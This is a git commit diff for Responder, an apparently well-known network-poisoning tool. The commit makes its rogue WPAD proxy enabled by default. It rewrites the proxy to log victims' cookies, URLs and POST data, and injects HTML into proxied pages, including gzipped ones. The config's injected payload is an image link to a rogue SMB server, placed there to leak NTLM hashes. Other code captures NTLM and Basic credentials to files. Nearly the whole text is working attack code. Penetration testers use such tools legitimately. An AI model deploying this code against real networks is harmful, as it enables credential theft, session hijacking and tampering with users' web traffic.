The WPAD server is now a fully functional proxy server (enabled by default), HTML injection in server's responses is now supported.

This commit is contained in:
lgandx 2014-01-25 17:25:56 -05:00
parent cdf6a6565b
commit 63daac7840
2 changed files with 203 additions and 148 deletions

View file

@ -38,11 +38,12 @@ Filename = Denied.html
ExecFilename = FixInternet.exe ExecFilename = FixInternet.exe
; ;
;Set your custom PAC script ;Set your custom PAC script
WPADScript = function FindProxyForURL(url, host){return 'PROXY ISAProxySrv:3141; DIRECT';} WPADScript = function FindProxyForURL(url, host){if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";return 'PROXY ISAProxySrv:3141; DIRECT';}
; ;
;HTML answer to serve after user authentication. ;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. ;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
HTMLToServe = <html><head></head><body><img src='file:\\\\\shar\smileyd.ico' alt='Loading' height='1' width='2'></body></html> ;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\sshsed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
; ;
[HTTPS Server] [HTTPS Server]
; ;

View file

@ -16,7 +16,7 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
from Fingerprint import RunSmbFinger,OsNameClientVersion from Fingerprint import RunSmbFinger,OsNameClientVersion
from odict import OrderedDict from odict import OrderedDict
@ -36,7 +36,7 @@ parser.add_option('-r', '--wredir',action="store", help="Set this to enable answ
parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is On", metavar="Off", choices=['On','on','off','Off'], default="On")
parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off") parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off")
@ -1042,25 +1042,18 @@ def GrabCookie(data,host):
logging.warning(NoCookies) logging.warning(NoCookies)
return NoCookies return NoCookies
def ServeWPADOrNot(on_off):
if on_off == "ON":
return True
if on_off == "OFF":
return False
def WpadCustom(data,client): def WpadCustom(data,client):
if ServeWPADOrNot(WPAD_On_Off): Wpad = re.search('(/wpad.dat|/*\.pac)', data)
b = re.search('(/wpad.dat|/*\.pac)', data) if Wpad:
if b: Message = "[+]WPAD file sent to: %s"%(client)
Message = "[+]WPAD file sent to: %s"%(client) if Verbose:
if Verbose: print Message
print Message logging.warning(Message)
logging.warning(Message) buffer1 = WPADScript(Payload=WPAD_Script)
buffer1 = WPADScript(Payload=WPAD_Script) buffer1.calculate()
buffer1.calculate() return str(buffer1)
return str(buffer1) else:
else: return False
return False
# Function used to check if we answer with a Basic or NTLM auth. # Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic): def Basic_Ntlm(Basic):
@ -1117,8 +1110,8 @@ def GrabURL(data, host):
#Handle HTTP packet sequence. #Handle HTTP packet sequence.
def PacketSequence(data,client): def PacketSequence(data,client):
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename') File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
@ -1133,8 +1126,8 @@ def PacketSequence(data,client):
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate() buffer1.calculate()
return str(buffer1) return str(buffer1)
if a: if Ntlm:
packetNtlm = b64decode(''.join(a))[8:9] packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01": if packetNtlm == "\x01":
GrabURL(data,client) GrabURL(data,client)
GrabCookie(data,client) GrabCookie(data,client)
@ -1145,24 +1138,19 @@ def PacketSequence(data,client):
buffer1 = str(t) buffer1 = str(t)
return buffer1 return buffer1
if packetNtlm == "\x03": if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a)) NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client) ParseHTTPHash(NTLM_Auth,client)
if re.search('(/wpad.dat|/*\.pac)', data): buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1 = WPADScript(Payload=WPAD_Script) #Fix login prompt for wpad. buffer1.calculate()
buffer1.calculate() return str(buffer1)
return str(buffer1) if BasicAuth:
else:
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1.calculate()
return str(buffer1)
if b:
GrabCookie(data,client) GrabCookie(data,client)
GrabURL(data,client) GrabURL(data,client)
outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt")
if PrintData(outfile,b64decode(''.join(b))): if PrintData(outfile,b64decode(''.join(BasicAuth))):
print "[+]HTTP-User & Password:", b64decode(''.join(b)) print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth))
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b))) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(b)))) logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1.calculate() buffer1.calculate()
return str(buffer1) return str(buffer1)
@ -1191,117 +1179,182 @@ class HTTP(BaseRequestHandler):
################################################################################## ##################################################################################
#HTTP Proxy Stuff #HTTP Proxy Stuff
################################################################################## ##################################################################################
def HandleGzip(Headers, Content, Payload):
def GrabHost(data,host): if len(Content) > 10:
GET = re.findall('(?<=GET )[^HTTP]*', data) try:
CONNECT = re.findall('(?<=CONNECT )[^HTTP]*', data) unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
POST = re.findall('(?<=POST )[^HTTP]*', data) except:
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) return False
if GET: InjectPayload = Payload
HostStr = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(GET)) Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
logging.warning(HostStr) HasHTML = re.findall('(?<=<html)[^<]*', unziped)
if Verbose: if HasHTML :
print HostStr if Verbose == True:
return ''.join(GET),None print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
if CONNECT: Content = unziped.replace("<html", Payload+"\n<html")
Host2Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(CONNECT)) ziped = zlib.compress(Content)
logging.warning(Host2Str) FinalLen = str(len(ziped))
if Verbose: Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
print Host2Str return Headers+'\r\n\r\n'+ziped
return ''.join(CONNECT), None
if POST:
Host3Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(POST))
logging.warning(Host3Str)
if Verbose:
print Host3Str
if len(''.join(POSTDATA)) >2:
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA))
if Verbose:
print PostData
logging.warning(PostData)
return ''.join(POST), ''.join(POSTDATA)
else:
NoHost = "[+]No host url sent with this request"
logging.warning(NoHost)
return "NO HOST", None
def ProxyBasic_Ntlm(Basic):
if Basic == "ON":
return IIS_Basic_407_Ans()
if Basic == "OFF":
return IIS_Auth_407_Ans()
def ParseDomain(data,client):
Host,PostData = GrabHost(data,client)
Cookie = GrabCookie(data,client)
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\nPOST DATA: %s"%(Host, Cookie, client,PostData)
DomainName = re.search('^(.*:)//([a-z\-.]+)(:[0-9]+)?(.*)$', Host)
if DomainName:
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+DomainName.group(2)+"-"+client+".txt")
WriteData(OutFile,Message, Message)
else:
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+Host.replace('/','')+"-"+client+".txt")
WriteData(OutFile,Message, Message)
#Handle HTTP packet sequence.
def ProxyPacketSequence(data,client):
a = re.findall('(?<=Proxy-Authorization: NTLM )[^\\r]*', data)
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else: else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) return False
buffer1.calculate()
return str(buffer1)
if a:
packetNtlm = b64decode(''.join(a))[8:9]
if packetNtlm == "\x01":
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_407_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a))
ParseHTTPHash(NTLM_Auth,client)
buffer1 = DitchThisConnection()
buffer1.calculate()
return str(buffer1)
if b:
outfile = os.path.join(ResponderPATH,"HTTP-Proxy-Clear-Text-Password-"+client+".txt")
WriteData(outfile,b64decode(''.join(b)),b64decode(''.join(b)))
print "[+][Proxy]HTTP-User & Password:", b64decode(''.join(b))
logging.warning('[+][Proxy]HTTP-User & Password: %s'%(b64decode(''.join(b))))
buffer1 = DitchThisConnection()
buffer1.calculate()
return str(buffer1)
else: else:
return str(ProxyBasic_Ntlm(Basic)) return False
def InjectData(data, Payload):
if len(data.split('\r\n\r\n'))>1:
Headers, Content = data.split('\r\n\r\n')
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if [s for s in RedirectCodes if s in Headers]:
return data
if "Content-Encoding: gzip" in Headers:
Gzip = HandleGzip(Headers,Content, Payload)
if Gzip:
return Gzip
else:
return data
if "Content-Type: text/html" in Headers:
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasHTML = re.findall('(?<=<html)[^<]*', Content)
if HasHTML :
if Verbose == True:
print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
NewContent = Content.replace("<html", Payload+"\n<html")
FinalLen = str(len(NewContent))
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
return Headers+'\r\n\r\n'+NewContent
else:
return data
#HTTP Rogue Proxy Server Class else:
class HTTPProxy(BaseRequestHandler): return data
else:
return data
#Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
__base = BaseHTTPServer.BaseHTTPRequestHandler
__base_handle = __base.handle
rbufsize = 0
def handle(self): def handle(self):
try: (ip, port) = self.client_address
self.request.settimeout(0.1) self.__base_handle()
for x in range(2):
data = self.request.recv(8092)
ParseDomain(data,self.client_address[0])
buffer0 = ProxyPacketSequence(data,self.client_address[0])
self.request.sendall(buffer0)
except Exception: def _connect_to(self, netloc, soc):
pass#No need to be verbose.. i = netloc.find(':')
self.request.close() if i >= 0:
host_port = netloc[:i], int(netloc[i+1:])
else:
host_port = netloc, 80
try: soc.connect(host_port)
except socket.error, arg:
try: msg = arg[1]
except: msg = arg
self.send_error(404, msg)
return 0
return 1
def do_CONNECT(self):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +
" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
try:
self._read_write(soc, 300)
except:
pass
finally:
soc.close()
self.connection.close()
def do_GET(self):
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(
self.path, 'http')
if scm not in ('http') or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path)
return
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if scm == 'http':
if self._connect_to(netloc, soc):
soc.send("%s %s %s\r\n" % (self.command,
urlparse.urlunparse(('', '', path,
params, query,
'')),
self.request_version))
for headers in self.headers.items():
if "cookie" in headers:
Cookie = self.headers['Cookie']
else:
Cookie = ''
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0])
if Verbose == True:
print Message
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
WriteData(OutFile,Message, Message)
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
for key_val in self.headers.items():
soc.send("%s: %s\r\n" % key_val)
soc.send("\r\n")
try:
self._read_write(soc, netloc)
except:
pass
finally:
soc.close()
self.connection.close()
def _read_write(self, soc, netloc='', max_idling=30):
iw = [self.connection, soc]
ow = []
count = 0
while 1:
count += 1
(ins, _, exs) = select.select(iw, ow, iw, 1)
if exs:
break
if ins:
for i in ins:
if i is soc:
out = self.connection
try:
if len(config.get('HTTP Server','HTMLToServe'))>5:
data = InjectData(i.recv(8192), config.get('HTTP Server','HTMLToServe'))
else:
data = i.recv(8192)
except:
pass
else:
out = soc
data = i.recv(8192)
if self.command == "POST":
Message = "POST data was: %s\n"%(data)
if Verbose == True:
print Message
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
WriteData(OutFile,Message, Message)
if data:
out.send(data)
count = 0
if count == max_idling:
break
return None
do_HEAD = do_GET
do_POST = do_GET
do_PUT = do_GET
do_DELETE=do_GET
################################################################################## ##################################################################################
#HTTPS Server #HTTPS Server
################################################################################## ##################################################################################
@ -1680,7 +1733,7 @@ def Is_HTTPS_On(SSL_On_Off):
#Function name self-explanatory #Function name self-explanatory
def Is_WPAD_On(on_off): def Is_WPAD_On(on_off):
if on_off == "ON": if on_off == "ON":
return thread.start_new(serve_thread_tcp,('', 3141,HTTPProxy)) return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
if on_off == "OFF": if on_off == "OFF":
return False return False
@ -1818,3 +1871,4 @@ if __name__ == '__main__':